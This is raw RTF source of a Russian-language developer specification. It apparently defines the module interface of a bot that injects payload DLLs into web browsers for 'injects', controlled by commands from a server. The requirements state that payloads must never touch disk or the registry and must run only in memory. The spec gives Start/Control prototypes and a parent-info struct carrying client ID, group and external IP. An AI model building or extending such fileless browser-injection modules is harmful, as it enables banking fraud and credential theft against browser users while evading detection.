\f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 CtlArg}{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106 \hich\af40\dbch\af31505\loch\f40 \hich\f40 \'e8\loch\f40 }{\rtlch\fcs1 \af2 \ltrch\fcs0
\f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 CtlArgLen}{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106 \hich\af40\dbch\af31505\loch\f40 \hich\f40 . \'ee\'f1\'f2\'e0\'eb\'fc\'ed\'fb\'e5\loch\f40 \hich\f40 \'ef\'e0
\'f0\'e0\'ec\'e5\'f2\'f0\'fb\loch\f40 \hich\f40 \'ed\'e5\loch\f40 \hich\f40 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'fe\'f2\'f1\'ff}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e7\'e0\'ef\'e8\'eb\'e8\'f2\'fc\loch\f37 \hich\f37 \'e4\'e5\'ec\'ee-\'e7\'e0\'ef\'f3\'f1\'ea\'e0\'f2\'ee\'f0\loch\f37 \hich\f37 , \'ea\'ee\'f2\'ee\'f0\'fb\'e9
\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'e3\'f0\'f3\'e7\'e8\'f2\'fc\loch\f37 \hich\f37 \'f1\'ea\'ee\'ec\'ef\'e8\'eb\'e5\'ed\'ed\'fb\'e9\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fc\loch\f37 \hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37
}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 loadLIbrary }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e8\loch\f37 \hich\f37 \'ef\'e5\'f0
\'e5\'e4\'e0\'e2\'e0\'f2\'fc\loch\f37 \hich\f37 \'ea\'ee\'ed\'f4\'e8\'e3\'e8\loch\f37 \hich\f37 , \'f7\'f2\'ee\'e1\'fb\loch\f37 \hich\f37 \'e8\'ed\'e6\'e5\'ea\'f2\'fb\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'e0\'eb\'e8\loch\f37 \hich\f37 \'e2
\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'e0\'f5.
\par \loch\af37\dbch\af31505\hich\f37 \'d2\'e0\'ea\'e8\'ec\loch\f37 \hich\f37 \'ee\'e1\'f0\'e0\'e7\'ee\'ec\loch\f37 \hich\f37 , \'f1\'eb\'e5\'e4\'f3\'f9\'e0\'ff\loch\f37 \hich\f37 \'f1\'f5\'e5\'ec\'e0\loch\f37 :\line }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 1. }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e4\'e5\'ec\'ee-\'e7\'e0\'ef\'f3\'f1\'ea\'e0\'f2\'ee\'f0\loch\f37 \hich\f37
\'e3\'f0\'f3\'e7\'e8\'f2\loch\f37 \hich\f37 \'ea\loch\f37 \hich\f37 \'f1\'e5\'e1\'e5\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fc\loch\f37 (}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 DLL}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 ) \'e8\loch\f37 \hich\f37 \'e2\'fb\'e7\'fb\'e2\'e0\'e5\'f2\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'e8\loch\f37 }{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 start }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 control }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'f7\'f2\'ee\'e1\'fb\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'e4\'e0\'f2\'fc
\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'ed\'e5\'b8\loch\f37 \hich\f37 \'ea\'ee\'ed\'f4\'e8\'e3\'e8\loch\f37 \hich\f37 , \'e2\'ed\'e5\'f8\'ed\'e8\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 ip-}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e0\'e4\'f0\'e5\'f1\loch\f37 , }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 clientid}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 group}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 .
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 2. }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'e4\loch\f37 \hich\f37 \'e2\'ed\'f3
\'f2\'f0\'e8\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff\loch\f37 \hich\f37 , \'e2\loch\f37 \hich\f37 \'ed\'e5\'ea\'ee\'f2\'ee\'f0\'ee\'ec\loch\f37 \hich\f37 \'ef\'ee\'f2\'ee\'ea\'e5\loch\f37 \hich\f37 \'ec\'ee\'ed\'e8\'f2\'ee\'f0\'e8\'f2\loch\f37
\hich\f37 \'ef\'f0\'ee\'f6\'e5\'f1\'f1\'fb\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'e3\'f0\'f3\'e7\'e8\'f2\'fc\loch\f37 \hich\f37 \'ed\'e5\'ea\'ee\'f2\'ee\'f0\'f3\'fe\loch\f37 \hich\f37 \'ed\'e0\'e3\'f0\'f3\'e7\'ea\'f3\loch\f37 \hich\f37 \'e2
\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'fb\loch\f37 \hich\f37 . \'fd\'f2\'ee\'e9\loch\f37 \hich\f37 \'ed\'e0\'e3\'f0\'f3\loch\af37\dbch\af31505\hich\f37 \'e7\'ea\'e5\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'e4\'e0\'b8\'f2\'f1\'ff\loch\f37
\hich\f37 \'f0\'e0\'ed\'e5\'e5\loch\f37 \hich\f37 \'ef\'ee\'eb\'f3\'f7\'e5\'ed\'ed\'fb\'e9\loch\f37 \hich\f37 \'ea\'ee\'ed\'f4\'e8\'e3\loch\f37 \hich\f37 \'ee\'f2\loch\f37 \hich\f37 \'e4\'e5\'ec\'ee-\'e7\'e0\'ef\'f3\'f1\'ea\'e0\'f2\'ee\'f0\'e0
\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'ec\'fb\loch\f37 \hich\f37 \'ed\'e0\'e1\'eb\'fe\'e4\'e0\'e5\'ec\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'f3\loch\f37 \hich\f37 \'e8\'ed\'e6\'e5\'ea\'f2\'e0\loch\f37 .
\par
\par \loch\af37\dbch\af31505\hich\f37 \'d2\'f0\'e5\'e1\'ee\'e2\'e0\'ed\'e8\'ff\loch\f37 :
\par \hich\af37\dbch\af31505\loch\f37 \hich\f37 1.\'cd\'e0\'e3\'f0\'f3\'e7\'ea\'f3\loch\f37 (}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 DLL}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 ) \'e2\'ed\'e5\'e4\'f0\'ff\'e5\'ec\'f3\'fe\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'fb\loch\f37 \hich\f37 , \'ed\'e5\'eb\'fc\'e7\'ff\loch\f37 \hich\f37 \'f1
\'ee\'f5\'f0\'e0\'ed\'ff\'f2\'fc\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'e4\'e8\'f1\'ea\loch\f37 \hich\f37 \'e8\'eb\'e8\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f0\'e5\'e5\'f1\'f2\'f0.
\par \hich\af37\dbch\af31505\loch\f37 \hich\f37 2. \'ea\'ee\'e4\loch\f37 \hich\f37 \'f1\'e0\'ec\'ee\'e3\'ee\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff\loch\f37 \hich\f37 \'ed\'e5\loch\f37 \hich\f37 \'e4\'ee\'eb\'e6\'e5\'ed\loch\f37 \hich\f37 \'ef\'fb\'f2
\'e0\'f2\'fc\'f1\'ff\loch\f37 \hich\f37 \'ef\'ee\'eb\'f3\'f7\'e8\'f2\'fc\loch\f37 \hich\f37 \'ef\'f3\'f2\'fc\loch\f37 \hich\f37 \'ea\loch\f37 \hich\f37 \'f1\'e0\'ec\'ee\'ec\'f3\loch\f37 \hich\f37 \'f1\'e5\'e1\'e5\loch\f37 \hich\f37 , \'e8\'e1\'ee
\hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f0\'e5\'e0\'eb\'fc\'ed\'fb\'f5\loch\f37 \hich\f37 \'f3\'f1\'eb\'ee\'e2\'e8\'ff\'f5\loch\f37 \hich\f37 \'ee\'ed\loch\f37 \hich\f37 \'f2\'ee\'e6\'e5\loch\f37 \hich\f37 \'e1\'f3\'e4
\'e5\'f2\loch\f37 \hich\f37 \'e7\'e0\'ef\'f3\'f1\'ea\'e0\'f2\'fc\'f1\'ff\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'ef\'e0\'ec\'ff\'f2\'e8\loch\f37 \hich\f37 \'e1\'e5\'e7\loch\f37 \hich\f37 \'f1\'ee\'f5\'f0\'e0\'ed\'e5\'ed\'e8\'ff\loch\f37
\hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'e4\'e8\'f1\'ea}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\lang1033\langfe1049\langnp1033\insrsid15096106 ....}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106
\par
\par \hich\af37\dbch\af31505\loch\f37 6 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'cc\'ee\'e4\'f3\'eb\'fc\loch\f37 \hich\f37 \'fd\'ea\'f1\'ef\'ee\'f0\'f2\'e8\'f0\'f3\'e5\'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3
\'fe\'f9\'e8\'e5\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'e8\loch\f37 : }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Start, Control, Release, FreeBuffer}{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 . \'c2\'f1\'e5\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'e8\loch\f37 \hich\f37 \'e8\'ec\'e5\'fe\'f2\loch\f37 \hich\f37 \'ea\'ee\'ed\'e2\'e5\'f0\'f6\'e8\'fe\loch\f37
\hich\f37 \'e2\'fb\'e7\'ee\'e2\'e0\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 stdcall }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106
\loch\af37\dbch\af31505\hich\f37 \'e8\loch\f37 \hich\f37 \'fd\'ea\'f1\'ef\'ee\'f0\'f2\'e8\'f0\'f3\'fe\'f2\'f1\'ff\loch\f37 \hich\f37 \'ef\'ee\loch\f37 \hich\f37 \'e8\'ec\'e5\'ed\'e0\'ec.}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 6}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 .1 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Start}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\loch\af37\dbch\af31505\hich\f37 \'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9\loch\f37 \hich\f37 \'ef\'f0\'ee\'f2\'ee\'f2\'e8\'ef\loch\f37 :
\par }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 PVOID Start(
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCSTR ModuleName,\tab
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCBYTE Arg,
\par \tab \hich\af2\dbch\af31505\loch\f2 SIZE_T ArgLen,
\par \tab \hich\af2\dbch\af31505\loch\f2 LPSTR ResultInfo,
\par \tab \hich\af2\dbch\af31505\loch\f2 const ParentInfo* pParentData,
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID EventCallback,
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID EventCallbackContext,
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID Reserved1);}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e2\'fb\'e7\'fb\'e2\'e0\'e5\'f2\'f1\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'e3\'e4\'e0
\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ee\'f2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0\'e0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ef\'f0\'e8\'f8
\'b8\'eb\hich\af37\dbch\af31505\loch\f37 ctl "start"
\par \hich\af37\dbch\af31505\loch\f37 ModuleName - \loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff
\par \hich\af37\dbch\af31505\loch\f37 Arg - \loch\af37\dbch\af31505\hich\f37 \'e0\'f0\'e3\'f3\'ec\'e5\'ed\'f2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'ec\'e0\'ed\'e4\'fb\hich\af37\dbch\af31505\loch\f37 start
\par \hich\af37\dbch\af31505\loch\f37 ArgLen - \loch\af37\dbch\af31505\hich\f37 \'f0\'e0\'e7\'ec\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\hich\af37\dbch\af31505\loch\f37 CtlArg
\loch\af37\dbch\af31505\hich\f37 \'e2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e1\'e0\'e9\'f2\'e0\'f5
\par \hich\af37\dbch\af31505\loch\f37 ResultInfo -\loch\af37\dbch\af31505\hich\f37 \'e1\'f3\'f4\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e4\'eb\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f0\'e5
\'e7\'f3\'eb\'fc\'f2\'e8\'f0\'f3\'fe\'f9\'e5\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f1\'f2\'f0\'ee\'ea\'e8\hich\af37\dbch\af31505\loch\f37 ctl. \loch\af37\dbch\af31505\hich\f37 \'c1\'f3\'f4\'e5\'f0
\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'e5\'e5\'f2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f4\'e8\'ea\'f1\'e8\'f0\'ee\'e2\'e0\'ed\'ed\'f3\'fe\hich\af37\dbch\af31505\loch\f37
\loch\af37\dbch\af31505\hich\f37 \'e4\'eb\'e8\'ed\'f3\hich\af37\dbch\af31505\loch\f37 1024 \loch\af37\dbch\af31505\hich\f37 \'e1\'e0\'e9\'f2\'e0
\par \hich\af37\dbch\af31505\loch\f37 pParentData - \loch\af37\dbch\af31505\hich\f37 \'e8\'ed\'f4\'ee\'f0\'ec\'e0\'f6\'e8\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ee\hich\af37\dbch\af31505\loch\f37
\loch\af37\dbch\af31505\hich\f37 \'e2\'fb\'f8\'e5\'f1\'f2\'ee\'ff\'f9\'e5\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'eb\'ee\'e3\'e8\'ea\'e5\hich\af37\dbch\af31505\loch\f37 , \loch\af37\dbch\af31505\hich\f37 \'f3\'ef\'f0\'e0
\'e2\'eb\'ff\'e5\'f2\'f1\loch\af37\dbch\af31505\hich\f37 \'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'ed\'f4\'e8\'e3\'ee\'ec\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff
\par \hich\af37\dbch\af31505\loch\f37 EventCallback - \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'f2\'f1\'ff}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 , \'e2\'f1\'e5\'e3\'e4\'e0\loch\f37 \hich\f37 \'ed\'ee\'eb\'fc}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par \hich\af37\dbch\af31505\loch\f37 EventCallbackContext - \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'f2\'f1\'ff}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 , \'e2\'f1\'e5\'e3\'e4\'e0\loch\f37 \hich\f37 \'ed\'ee\'eb\'fc
\par \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5\loch\f37 \hich\f37 \'f3\'e4\'e0\'f7\'e8\loch\f37 \hich\f37 \'e2\'ee\'e7\'e2\'f0\'e0\'f9\'e0\'e5\'f2\loch\f37 \hich\f37
\'ee\'ef\'e8\'f1\'e0\'f2\'e5\'eb\'fc\loch\f37 \hich\f37 , \'ea\'ee\'f2\'ee\'f0\'fb\'e9\loch\f37 \hich\f37 \'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee\loch\f37 \hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'ee\'e2\'e0\'f2\'fc\loch\f37 \hich\f37 \'ef\'f0\'e8
\loch\f37 \hich\f37 \'e2\'fb\'e7\'ee\'e2\'e5\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Control }{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Release}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 . \'c2\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5\loch\f37 \hich\f37 \'ed\'e5\'f3\'e4\'e0\'f7\'e8\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'e2
\loch\af37\dbch\af31505\hich\f37 \'ee\'e7\'e2\'f0\'e0\'f9\'e0\'e5\'f2\loch\f37 \hich\f37 \'ed\'ee\'eb\'fc.
\par
\par }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 typedef struct ParentInfo \{
\par \tab \hich\af2\dbch\af31505\loch\f2 CHAR ParentID[256];
\par \tab \hich\af2\dbch\af31505\loch\f2 CHAR ParentGroup[}{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106 \hich\af40\dbch\af31505\loch\f40 64}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2
];
\par }{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106 \tab }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 CHAR SelfIP[}{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106
\hich\af40\dbch\af31505\loch\f40 64}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 ];
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCWSTR ParentFiles;
\par \}\hich\af2\dbch\af31505\loch\f2 ;
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ParentID - \loch\af37\dbch\af31505\hich\f37 \'ef\'ee\'eb\'ed\'fb\'e9\hich\af37\dbch\af31505\loch\f37 ID \loch\af37\dbch\af31505\hich\f37
\'ea\'eb\'e8\'e5\'ed\'f2\'e0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e2\'fb\'f8\'e5\'f1\'f2\'ee\'ff\'f9\'e5\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'eb\'ee\'e3\'e8\'ea\'e8
\par \hich\af37\dbch\af31505\loch\f37 ParentGroup - \loch\af37\dbch\af31505\hich\f37 \'e3\'f0\'f3\'ef\'ef\'e8\'f0\'f3\'fe\'f9\'e8\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f2\'e5\'e3\hich\af37\dbch\af31505\loch\f37
\loch\af37\dbch\af31505\hich\f37 \'e2\'fb\'f8\'e5\'f1\'f2\'ee\'ff\'f9\'e5\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'eb\'ee\'e3\'e8\'ea\'e8
\par \hich\af37\dbch\af31505\loch\f37 SelfIP - \loch\af37\dbch\af31505\hich\f37 \'e2\'ed\'e5\'f8\'ed\'e8\'e9\hich\af37\dbch\af31505\loch\f37 IP-\loch\af37\dbch\af31505\hich\f37 \'e0\'e4\'f0\'e5\'f1\hich\af37\dbch\af31505\loch\f37
\par \hich\af37\dbch\af31505\loch\f37 ParentFiles - \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'f2\'f1\'ff
\par
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 6}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 .2 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Control}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9\loch\f37 \hich\f37 \'ef\'f0\'ee\'f2\'ee\'f2\'e8\'ef
\par }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 BOOL Control (
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID ModuleHandle,
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCSTR Ctl,\tab
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCBYTE CtlArg,
\par \tab \hich\af2\dbch\af31505\loch\f2 SIZE_T CtlArgLen,
\par \tab \hich\af2\dbch\af31505\loch\f2 LPSTR CtlResultInfo,
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID* ppOutData,
\par \tab \hich\af2\dbch\af31505\loch\f2 PDWORD pOutDataSize,
\par \tab \hich\af2\dbch\af31505\loch\f2 LPCSTR pOutDataTag,\tab
\par \tab \hich\af2\dbch\af31505\loch\f2 PVOID Reserved1);}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\cf6\lang1033\langfe1049\langnp1033\insrsid15096106
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par \hich\af37\dbch\af31505\loch\f37 ModuleHandle}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 - \'ee\'ef\'e8\'f1\'e0\'f2\'e5\'eb\'fc\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff\loch\f37 \hich\f37 , \'ea\'ee
\'f2\'ee\'f0\'ee\'e5\loch\f37 \hich\f37 \'e2\'e5\'f0\'ed\'f3\'eb\'e0\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Start.
